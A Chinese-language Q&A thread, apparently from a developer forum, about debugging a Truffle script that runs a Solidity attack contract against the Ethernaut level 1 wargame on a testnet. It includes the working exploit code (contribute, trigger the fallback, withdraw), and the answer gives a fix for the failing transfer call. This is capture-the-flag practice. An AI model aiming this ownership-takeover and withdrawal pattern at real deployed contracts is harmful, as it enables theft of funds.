Truffle
我怎樣才能弄清楚為什麼交易被恢復()
我在玩 Ethernaut 1 級:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Level1 { function withdraw() external; function contribute() external payable; } contract AttackLevel1 { Level1 private level1; constructor() { level1 = Level1(0x7717554cE81f6255D223e64f6cA9ABF4c131e4cf); } receive() external payable {} function attack() external payable { level1.contribute{value: 0.0001 ether}(); payable(address(level1)).transfer(0.0001 ether); level1.withdraw(); payable(msg.sender).transfer(address(this).balance); } }
在松露中我有
require('dotenv').config() let privateKey = process.env["RINKEBY_PRIVATE_KEY"] let account = web3.eth.accounts.privateKeyToAccount(privateKey) async function main () { let AttackLevel1 = artifacts.require("AttackLevel1") let AttackLevel1Deployed = await AttackLevel1.deployed() await AttackLevel1Deployed.send(web3.utils.toWei("0.001", "ether")) await AttackLevel1Deployed.methods['attack()'].sendTransaction({ value: web3.utils.toWei("0.001", "ether") }) let balance = await web3.eth.getBalance(account) console.log(balance.toString()) } module.exports = async function(callback) { await main() callback() }
UI 上的日誌沒有顯示任何有用的資訊,我該如何找出原因?
合約呼叫返回的交易回調應該為您提供更多資訊。但是,tenderly是一個非常有用的用於調試鏈上交易的網站。這表明你的電話沒電了。
payable(address(level1)).transfer(0.0001 ether);
有氣體問題,否則它會與模式一起工作(bool ok,) = address(level1).call{value: 0.0001 ether}("");
。轉移現在也被棄用了。
我嘗試了混音,而您的契約與更改的那一行一起工作。我應該說程式碼按預期執行和執行,但不會通過關卡,因為攻擊合約是目標/關卡合約的所有者而不是玩家。您只需使用控制台命令即可通過此級別